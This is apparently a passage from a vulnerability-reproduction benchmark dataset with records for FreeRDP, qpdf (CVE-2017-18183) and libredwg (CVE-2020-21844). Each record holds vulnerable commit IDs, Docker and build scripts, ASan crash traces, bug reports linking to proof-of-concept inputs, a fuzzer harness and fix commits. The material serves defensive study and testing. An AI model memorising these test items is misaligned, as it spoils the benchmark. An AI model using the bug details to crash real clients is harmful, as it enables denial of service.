================= Bug Report (1/1) ================== ## Source: GitHub Advisory ## URL: https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-c3r2-pxxp-f8r6 ## Description: Advisory ID: GHSA-c3r2-pxxp-f8r6 Title: Out-Of-Bounds Read in nsc_rle_decompress_data Description: Summary Out-Of-Bounds Read in nsc_rle_decompress_data Affected FreeRDP based clients only. FreeRDP proxy not affected as image decoding is not done by proxy (data passthrough) Details FreeRDP/libfreerdp/codec/nsc.c Lines 221 to 236 in 63a2f65 static BOOL nsc_stream_initialize(NSC_CONTEXT* context, wStream* s) { int i; if (!Stream_CheckAndLogRequiredLength(TAG, s, 20)) return FALSE; for (i = 0; i < 4; i++) Stream_Read_UINT32(s, context->PlaneByteCount[i]); Stream_Read_UINT8(s, context->ColorLossLevel); /* ColorLossLevel (1 byte) */ Stream_Read_UINT8(s, context->ChromaSubsamplingLevel); /* ChromaSubsamplingLevel (1 byte) */ Stream_Seek(s, 2); /* Reserved (2 bytes) */ context->Planes = Stream_Pointer(s); return TRUE; } context->Planes is assigned in the nsc_stream_initialize function. FreeRDP/libfreerdp/codec/nsc.c Lines 177 to 219 in 63a2f65 static BOOL nsc_rle_decompress_data(NSC_CONTEXT* context) { UINT16 i; BYTE* rle; UINT32 planeSize; UINT32 originalSize; if (!context) return FALSE; rle = context->Planes; for (i = 0; i < 4; i++) { originalSize = context->OrgByteCount[i]; planeSize = context->PlaneByteCount[i]; if (planeSize == 0) { if (context->priv->PlaneBuffersLength < originalSize) return FALSE; FillMemory(context->priv->PlaneBuffers[i], originalSize, 0xFF); } else if (planeSize < originalSize) { if (!nsc_rle_decode(rle, context->priv->PlaneBuffers[i], context->priv->PlaneBuffersLength, originalSize)) return FALSE; } else { if (context->priv->PlaneBuffersLength < originalSize) return FALSE; CopyMemory(context->priv->PlaneBuffers[i], rle, originalSize); } rle += planeSize; } return TRUE; } In the nsc_rle_decompress_data function, Out-Of-Bounds Read occurs because it processes context->Planes without checking if it contains data of sufficient length. PoC Insufficient data for context->Planes may cause errors or crashes. Impact Out-Of-Bounds Read Asan ==18171==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x616000080e3a at pc 0x000102ccb778 bp 0x00016f6f5320 sp 0x00016f6f4ad0 READ of size 20 at 0x616000080e3a thread T5 #0 0x102ccb774 in __asan_memcpy+0x37c (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4f774) (BuildId: 4947f3677e4435f39b5765e7dbc19bf732000000200000000100000000000b00) #1 0x101c03914 in nsc_rle_decompress_data+0x3bc (libfreerdp3.3.0.0.dylib:arm64+0x1b914) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #2 0x101c02b60 in nsc_process_message+0x3f8 (libfreerdp3.3.0.0.dylib:arm64+0x1ab60) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #3 0x101c3f3e8 in clear_decompress_nscodec+0xf0 (libfreerdp3.3.0.0.dylib:arm64+0x573e8) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #4 0x101c3dee8 in clear_decompress_subcodecs_data+0x1008 (libfreerdp3.3.0.0.dylib:arm64+0x55ee8) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #5 0x101c3851c in clear_decompress+0x11a0 (libfreerdp3.3.0.0.dylib:arm64+0x5051c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #6 0x101d44ba0 in gdi_SurfaceCommand_ClearCodec+0x6fc (libfreerdp3.3.0.0.dylib:arm64+0x15cba0) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #7 0x101d3bf20 in gdi_SurfaceCommand+0x564 (libfreerdp3.3.0.0.dylib:arm64+0x153f20) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #8 0x100f26118 in rdpgfx_decode+0x288 (libfreerdp-client3.3.0.0.dylib:arm64+0xaa118) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #9 0x100f0fafc in rdpgfx_recv_wire_to_surface_1_pdu+0x1760 (libfreerdp-client3.3.0.0.dylib:arm64+0x93afc) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #10 0x100f0d0e4 in rdpgfx_recv_pdu+0x5d4 (libfreerdp-client3.3.0.0.dylib:arm64+0x910e4) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #11 0x100f0bfd4 in rdpgfx_on_data_received+0x448 (libfreerdp-client3.3.0.0.dylib:arm64+0x8ffd4) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #12 0x100e8f428 in dvcman_call_on_receive+0x164 (libfreerdp-client3.3.0.0.dylib:arm64+0x13428) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #13 0x100e8f294 in dvcman_receive_channel_data+0x440 (libfreerdp-client3.3.0.0.dylib:arm64+0x13294) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #14 0x100e8bc7c in drdynvc_process_data+0x2c8 (libfreerdp-client3.3.0.0.dylib:arm64+0xfc7c) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #15 0x100e89ef0 in drdynvc_order_recv+0x334 (libfreerdp-client3.3.0.0.dylib:arm64+0xdef0) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #16 0x100e89934 in drdynvc_virtual_channel_event_data_received+0x498 (libfreerdp-client3.3.0.0.dylib:arm64+0xd934) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #17 0x100e8861c in drdynvc_virtual_channel_open_event_ex+0x1ac (libfreerdp-client3.3.0.0.dylib:arm64+0xc61c) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #18 0x101e3bc98 in freerdp_channels_data+0x5cc (libfreerdp3.3.0.0.dylib:arm64+0x253c98) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #19 0x101eed664 in freerdp_channel_process+0x6e0 (libfreerdp3.3.0.0.dylib:arm64+0x305664) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #20 0x101e9d74c in rdp_recv_tpkt_pdu+0x11e8 (libfreerdp3.3.0.0.dylib:arm64+0x2b574c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #21 0x101e9c50c in rdp_recv_pdu+0x34 (libfreerdp3.3.0.0.dylib:arm64+0x2b450c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #22 0x101e97d74 in rdp_recv_callback_int+0x1408 (libfreerdp3.3.0.0.dylib:arm64+0x2afd74) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #23 0x101e9689c in rdp_recv_callback+0x1d8 (libfreerdp3.3.0.0.dylib:arm64+0x2ae89c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #24 0x101ebd088 in transport_check_fds+0x51c (libfreerdp3.3.0.0.dylib:arm64+0x2d5088) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #25 0x101e9867c in rdp_check_fds+0x170 (libfreerdp3.3.0.0.dylib:arm64+0x2b067c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #26 0x101e33454 in freerdp_check_fds+0x1ac (libfreerdp3.3.0.0.dylib:arm64+0x24b454) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #27 0x101e33b24 in freerdp_check_event_handles+0x70 (libfreerdp3.3.0.0.dylib:arm64+0x24bb24) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #28 0x100a97130 in mac_client_thread+0x5a4 (MacFreeRDP:arm64+0x13130) (BuildId: 3a4e43fe04f43036ab9335815490e83b32000000200000000100000000000d00) #29 0x102745320 in thread_launcher thread.c:520 #30 0x192413fa4 in _pthread_start+0x90 (libsystem_pthread.dylib:arm64+0x6fa4) (BuildId: 46d35233a0513f4fbba4ba56dddc4d1a32000000200000000100000000040d00) #31 0x2a5800019240ed9c (<unknown module>) 0x616000080e3a is located 2708 bytes after 550-byte region [0x616000080180,0x6160000803a6) allocated by thread T5 here: #0 0x102ccd5b0 in wrap_malloc+0x8c (libclang_rt.asan_osx_dynamic.dylib:arm64+0x515b0) (BuildId: 4947f3677e4435f39b5765e7dbc19bf732000000200000000100000000000b00) #1 0x101c0d188 in aligned_zgfx_malloc+0x18 (libfreerdp3.3.0.0.dylib:arm64+0x25188) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #2 0x101c0ad88 in zgfx_decompress+0x4ac (libfreerdp3.3.0.0.dylib:arm64+0x22d88) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #3 0x100f0bdbc in rdpgfx_on_data_received+0x230 (libfreerdp-client3.3.0.0.dylib:arm64+0x8fdbc) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #4 0x100e8f428 in dvcman_call_on_receive+0x164 (libfreerdp-client3.3.0.0.dylib:arm64+0x13428) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #5 0x100e8f294 in dvcman_receive_channel_data+0x440 (libfreerdp-client3.3.0.0.dylib:arm64+0x13294) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #6 0x100e8bc7c in drdynvc_process_data+0x2c8 (libfreerdp-client3.3.0.0.dylib:arm64+0xfc7c) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #7 0x100e89ef0 in drdynvc_order_recv+0x334 (libfreerdp-client3.3.0.0.dylib:arm64+0xdef0) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #8 0x100e89934 in drdynvc_virtual_channel_event_data_received+0x498 (libfreerdp-client3.3.0.0.dylib:arm64+0xd934) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #9 0x100e8861c in drdynvc_virtual_channel_open_event_ex+0x1ac (libfreerdp-client3.3.0.0.dylib:arm64+0xc61c) (BuildId: 776adf67bfdc356180bc0f4db402691032000000200000000100000000000d00) #10 0x101e3bc98 in freerdp_channels_data+0x5cc (libfreerdp3.3.0.0.dylib:arm64+0x253c98) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #11 0x101eed664 in freerdp_channel_process+0x6e0 (libfreerdp3.3.0.0.dylib:arm64+0x305664) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #12 0x101e9d74c in rdp_recv_tpkt_pdu+0x11e8 (libfreerdp3.3.0.0.dylib:arm64+0x2b574c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #13 0x101e9c50c in rdp_recv_pdu+0x34 (libfreerdp3.3.0.0.dylib:arm64+0x2b450c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #14 0x101e97d74 in rdp_recv_callback_int+0x1408 (libfreerdp3.3.0.0.dylib:arm64+0x2afd74) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #15 0x101e9689c in rdp_recv_callback+0x1d8 (libfreerdp3.3.0.0.dylib:arm64+0x2ae89c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #16 0x101ebd088 in transport_check_fds+0x51c (libfreerdp3.3.0.0.dylib:arm64+0x2d5088) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #17 0x101e9867c in rdp_check_fds+0x170 (libfreerdp3.3.0.0.dylib:arm64+0x2b067c) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #18 0x101e33454 in freerdp_check_fds+0x1ac (libfreerdp3.3.0.0.dylib:arm64+0x24b454) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #19 0x101e33b24 in freerdp_check_event_handles+0x70 (libfreerdp3.3.0.0.dylib:arm64+0x24bb24) (BuildId: dfac08ef9e293206a0f10afcf243820f32000000200000000100000000000d00) #20 0x100a97130 in mac_client_thread+0x5a4 (MacFreeRDP:arm64+0x13130) (BuildId: 3a4e43fe04f43036ab9335815490e83b32000000200000000100000000000d00) #21 0x102745320 in thread_launcher thread.c:520 #22 0x192413fa4 in _pthread_start+0x90 (libsystem_pthread.dylib:arm64+0x6fa4) (BuildId: 46d35233a0513f4fbba4ba56dddc4d1a32000000200000000100000000040d00) #23 0x2a5800019240ed9c (<unknown module>) Thread T5 created by T0 here: #0 0x102cc691c in wrap_pthread_create+0x50 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4a91c) (BuildId: 4947f3677e4435f39b5765e7dbc19bf732000000200000000100000000000b00) #1 0x1027423a0 in winpr_StartThread thread.c:568 #2 0x102741a74 in CreateThread thread.c:650 #3 0x100a96894 in -[MRDPView rdpStart:]+0x964 (MacFreeRDP:arm64+0x12894) (BuildId: 3a4e43fe04f43036ab9335815490e83b32000000200000000100000000000d00) #4 0x100a95ce4 in mfreerdp_client_start+0x488 (MacFreeRDP:arm64+0x11ce4) (BuildId: 3a4e43fe04f43036ab9335815490e83b32000000200000000100000000000d00) #5 0x100a89bbc in freerdp_client_start+0x190 (MacFreeRDP:arm64+0x5bbc) (BuildId: 3a4e43fe04f43036ab9335815490e83b32000000200000000100000000000d00) #6 0x1009c678c in -[AppDelegate applicationDidFinishLaunching:]+0x53c (MacFreeRDP:arm64+0x10000678c) (BuildId: c0debf5af29834acb3c97ff2be5d5c4932000000200000000100000000000d00) #7 0x1924e717c in __CFNOTIFICATIONCENTER_IS_CALLING_OUT_TO_AN_OBSERVER__+0x90 (CoreFoundation:arm64+0x7417c) (BuildId: 203e44018c2e3157a24b92f52551d43e32000000200000000100000000040d00) #8 0x8253800192582ee8 (<unknown module>) #9 0x640000192582e30 (<unknown module>) #10 0x13e0001924b84c8 (<unknown module>) #11 0xb048001934168f0 (<unknown module>) #12 0xcc04800195719154 (<unknown module>) #13 0x140f000195718f04 (<unknown module>) #14 0x655f800195716fa0 (<unknown module>) #15 0xdd07000195716b9c (<unknown module>) #16 0x8c5c800193440b60 (<unknown module>) #17 0xbd580001934409c0 (<unknown module>) #18 0x5e2f800198819514 (<unknown module>) #19 0x731e800198818e40 (<unknown module>) #20 0x2d61000198811f14 (<unknown module>) #21 0xa41d00019bd4ab40 (<unknown module>) #22 0x4a66800195712044 (<unknown module>) #23 0xc87e800195710edc (<unknown module>) #24 0x6e57000195705340 (<unknown module>) #25 0xab4f8001956dc790 (<unknown module>) #26 0xc06a0001009c6020 (<unknown module>) #27 0x1920bbf24 (<unknown module>) #28 0xe81f7ffffffffffc (<unknown module>) SUMMARY: AddressSanitizer: heap-buffer-overflow (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4f774) (BuildId: 4947f3677e4435f39b5765e7dbc19bf732000000200000000100000000000b00) in __asan_memcpy+0x37c Shadow bytes around the buggy address: 0x616000080b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000080c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000080c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000080d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000080d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x616000080e00: fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa 0x616000080e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000080f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000080f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000081000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x616000081080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==18171==ABORTING [16:29:49:388] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [fatal_handler]: Caught signal 'Abort trap: 6' [6] [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 0: 0 libwinpr3.3.0.0.dylib 0x00000001026a3558 winpr_execinfo_backtrace + 336 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 1: 1 libwinpr3.3.0.0.dylib 0x000000010269d090 winpr_backtrace + 24 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 2: 2 libwinpr3.3.0.0.dylib 0x000000010269d3ec winpr_log_backtrace_ex + 304 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 3: 3 libwinpr3.3.0.0.dylib 0x000000010269d2b0 winpr_log_backtrace + 44 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 4: 4 libfreerdp3.3.0.0.dylib 0x0000000101ca42c8 fatal_handler + 460 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 5: 5 libsystem_platform.dylib 0x0000000192442a24 _sigtramp + 56 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 6: 6 libsystem_pthread.dylib 0x0000000192413c28 pthread_kill + 288 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 7: 7 libsystem_c.dylib 0x0000000192321ae8 abort + 180 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 8: 8 libclang_rt.asan_osx_dynamic.dylib 0x0000000102cf09b8 _ZN11__sanitizer6AtexitEPFvvE + 0 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 9: 9 libclang_rt.asan_osx_dynamic.dylib 0x0000000102cf0124 _ZN11__sanitizer22SetCheckUnwindCallbackEPFvvE + 0 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 10: 10 libclang_rt.asan_osx_dynamic.dylib 0x0000000102cd5658 _ZN6__asan16ErrorDescription5PrintEv + 0 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 11: 11 libclang_rt.asan_osx_dynamic.dylib 0x0000000102cd499c _ZN6__asan18ReportGenericErrorEmmmmbmjb + 1452 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 12: 12 libclang_rt.asan_osx_dynamic.dylib 0x0000000102ccb798 __asan_memcpy + 928 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 13: 13 libfreerdp3.3.0.0.dylib 0x0000000101c03918 nsc_rle_decompress_data + 960 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 14: 14 libfreerdp3.3.0.0.dylib 0x0000000101c02b64 nsc_process_message + 1020 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 15: 15 libfreerdp3.3.0.0.dylib 0x0000000101c3f3ec clear_decompress_nscodec + 244 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 16: 16 libfreerdp3.3.0.0.dylib 0x0000000101c3deec clear_decompress_subcodecs_data + 4108 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 17: 17 libfreerdp3.3.0.0.dylib 0x0000000101c38520 clear_decompress + 4516 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 18: 18 libfreerdp3.3.0.0.dylib 0x0000000101d44ba4 gdi_SurfaceCommand_ClearCodec + 1792 [16:29:49:389] [18171:6f6f7000] [ERROR][com.freerdp.utils.signal] - [winpr_log_backtrace_ex]: 19: 19 libfreerdp3.3.0.0.dylib 0x0000000101d3bf24 gdi_SurfaceCommand + 1384 References: https://github.com/FreeRDP/FreeRDP/blob/63a2f65618748c12f79ff7450d46c6e194f2db76/libfreerdp/codec/nsc.c#L221-L236 https://github.com/FreeRDP/FreeRDP/commit/63a2f65618748c12f79ff7450d46c6e194f2db76 https://github.com/FreeRDP/FreeRDP/blob/63a2f65618748c12f79ff7450d46c6e194f2db76/libfreerdp/codec/nsc.c#L177-L219
[]
[ { "sha": "cd1da25a87358eb3b5512fd259310e95b19a05ec", "url": "https://github.com/FreeRDP/FreeRDP/commit/cd1da25a87358eb3b5512fd259310e95b19a05ec" }, { "sha": "63a2f65618748c12f79ff7450d46c6e194f2db76", "url": "https://github.com/FreeRDP/FreeRDP/commit/63a2f65618748c12f79ff7450d46c6e194f2db76" } ]
qpdf.cve-2017-18183
qpdf/qpdf
36b3fe5af761b7032a506808cf6ce6d37c297bfc
2017-08-11T19:57:05
qpdf
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool cmake nasm RUN git clone https://github.com/qpdf/qpdf qpdf RUN git -C qpdf checkout 36b3fe5af761b7032a506808cf6ce6d37c297bfc WORKDIR $SRC/qpdf COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static --prefix="$WORK" make -j$(nproc) all make install -j$(nproc) cmake . -DCMAKE_INSTALL_PREFIX="$WORK" -DENABLE_STATIC:bool=on make -j$(nproc) ./configure \ --enable-static \ --disable-shared \ --prefix="$WORK" \ LDFLAGS="-L$WORK/lib" \ CPPFLAGS="-I$WORK/include" \ LIBS="-pthread"
/src/qpdf
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/qpdf/qpdf/issues/143 ## Description: Issue: qpdf/qpdf#143 Title: stack overflow / crash on malformed input in QPDFWriter::enqueueObject(QPDFObjectHandle) State: closed Created by: hannob Created at: 2017-08-12 07:51:55+00:00 Issue Body: The attached file will crash qpdf. It seems it's running into an endless recursion and thus a stack overflow. Found with afl. [qpdf-stackoverflow.zip](https://github.com/qpdf/qpdf/files/1219594/qpdf-stackoverflow.zip) ``` ==24283==ERROR: AddressSanitizer: stack-overflow on address 0x7ffda4d32f78 (pc 0x00000050ba42 bp 0x7ffda4d337c0 sp 0x7ffda4d32f60 T0) #0 0x50ba41 in operator new(unsigned long) (/r/qpdf/qpdf+0x50ba41) #1 0x62c243 in PointerHolder<QPDFObject>::PointerHolder(QPDFObject*) /f/qpdf/include/qpdf/PointerHolder.hh:74:17 #2 0x62c243 in QPDFObjectHandle::QPDFObjectHandle(QPDF*, int, int) /f/qpdf/libqpdf/QPDFObjectHandle.cc:46 #3 0x62c243 in QPDFObjectHandle::newIndirect(QPDF*, int, int) /f/qpdf/libqpdf/QPDFObjectHandle.cc:1183 #4 0x5b73af in QPDFObjectHandle::Factory::newIndirect(QPDF*, int, int) /f/qpdf/include/qpdf/QPDFObjectHandle.hh:520:13 #5 0x5b73af in QPDF::getObjectByID(int, int) /f/qpdf/libqpdf/QPDF.cc:1889 #6 0x674910 in QPDFWriter::enqueueObject(QPDFObjectHandle) /f/qpdf/libqpdf/QPDFWriter.cc:1057:27 #7 0x67491b in QPDFWriter::enqueueObject(QPDFObjectHandle) /f/qpdf/libqpdf/QPDFWriter.cc:1057:3 #8 0x67491b in QPDFWriter::enqueueObject(QPDFObjectHandle) /f/qpdf/libqpdf/QPDFWriter.cc:1057:3 Comments: Comment by jberkenbilt on 2017-08-12 11:36:38+00:00: You're doing me a great service by finding all these cases. I hope you keep it up. I should be releasing 7.0.0 pretty soon. It would be great to fix as many of these as possible. I've coded a fix for this, but I need to do some extra code inspection to make sure my fix is good. It definitely doesn't break any existing tests, and the test suite is very thorough, and it also catches this problem, but I'm not sure it fully addresses the underlying issue, so I'll do more checking before I push to master. --- Comment by ghost on 2018-02-14 10:08:40+00:00: This has been assigned CVE-2017-18183 Attachments: https://github.com/qpdf/qpdf/files/1219594/qpdf-stackoverflow.zip
[ { "content": "#include \"qpdf/qpdf-c.h\"\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n _qpdf_data* qpdf = qpdf_init();\n const char* buffer = reinterpret_cast<const char*>(data);\n qpdf_read_memory(qpdf, /*description=*/\"\", buffer, size, /*password=*/\"\");\n qpdf_cleanup(&qpdf);\n return 0;\n}\n", "filename": "qpdf_read_memory_fuzzer.cc" } ]
[ { "sha": "8249a26d69f72b9cda584c14cc3f12769985e481", "url": "https://github.com/qpdf/qpdf/commit/8249a26d69f72b9cda584c14cc3f12769985e481" }, { "sha": "f754b4eecb56cccb1af55ba1c6df95fb9de329ce", "url": "https://github.com/jberkenbilt/qpdf/commit/f754b4eecb56cccb1af55ba1c6df95fb9de329ce" } ]
libredwg.cve-2020-21844
libredwg/libredwg
d5a51c01023d5585ddf3dd17c83dbb3c81efc97e
2020-01-08T08:16:22
libredwg
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y autoconf libtool texinfo RUN git clone https://github.com/libredwg/libredwg libredwg RUN git -C libredwg checkout d5a51c01023d5585ddf3dd17c83dbb3c81efc97e WORKDIR $SRC/libredwg COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sh ./autogen.sh ./configure --disable-shared make -j$(nproc)
/src/libredwg
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493607 ## Description: Issue: LibreDWG/libredwg#188 Title: Several bugs found by fuzzing Referenced comment by linhlhq on 2020-01-15 04:44:08+00:00: **13.memcpy-param-overlap in read_2004_section_header ../../src/decode.c:2580** POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000000%2Csig:06%2Csrc:000009%2Cop:flip1%2Cpos:27641 ``` ================================================================= ==32738==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x62c000008200,0x62c00000f600) and [0x62c0000067a0, 0x62c00000dba0) overlap #0 0x7f52a17f7425 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79425) #1 0x55cd4d5ce7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x55cd4d5ce7b6 in read_2004_compressed_section ../../src/decode.c:2417 #3 0x55cd4db91900 in read_2004_section_header ../../src/decode.c:2580 #4 0x55cd4db91900 in decode_R2004 ../../src/decode.c:3350 #5 0x55cd4dba408d in dwg_decode ../../src/decode.c:246 #6 0x55cd4d536fae in dwg_read_file ../../src/dwg.c:211 #7 0x55cd4d5359d0 in get_bmp ../../programs/dwgbmp.c:111 #8 0x55cd4d535066 in main ../../programs/dwgbmp.c:280 #9 0x7f52a1010b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x55cd4d5356c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) 0x62c000008200 is located 0 bytes inside of 29696-byte region [0x62c000008200,0x62c00000f600) allocated by thread T0 here: #0 0x7f52a185cd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38) #1 0x55cd4d5cdf25 in read_2004_compressed_section ../../src/decode.c:2321 #2 0x55cd4e0784b2 (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0xdd24b2) 0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0) allocated by thread T0 here: #0 0x7f52a185cd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38) #1 0x55cd4d536f41 in dat_read_file ../../src/dwg.c:74 #2 0x55cd4d536f41 in dwg_read_file ../../src/dwg.c:204 SUMMARY: AddressSanitizer: memcpy-param-overlap (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79425) ==32738==ABORTING ```
[ { "content": "[libfuzzer]\ndetect_leaks=0\n", "filename": "fuzz_dwg_decode.options" } ]
[ { "sha": "6757b07c65742277ae2ff5c9fe32157195726258", "url": "https://github.com/LibreDWG/libredwg/commit/6757b07c65742277ae2ff5c9fe32157195726258" }, { "sha": "d447393a30df70531215e17baa609be5609c8614", "url": "https://github.com/LibreDWG/libredwg/commit/d447393a30df70531215e17baa609be5609c8614" }, { "sha": "6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31", "url": "https://github.com/LibreDWG/libredwg/commit/6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31" }, { "sha": "7fc210259cf00850627cafaad1267d541f69c2b7", "url": "https://github.com/LibreDWG/libredwg/commit/7fc210259cf00850627cafaad1267d541f69c2b7" }, { "sha": "f955c0b8fde285a038befcd173bfb86a636890fc", "url": "https://github.com/LibreDWG/libredwg/commit/f955c0b8fde285a038befcd173bfb86a636890fc" }, { "sha": "185889b5abc6ff68b071758b82cf20be11102326", "url": 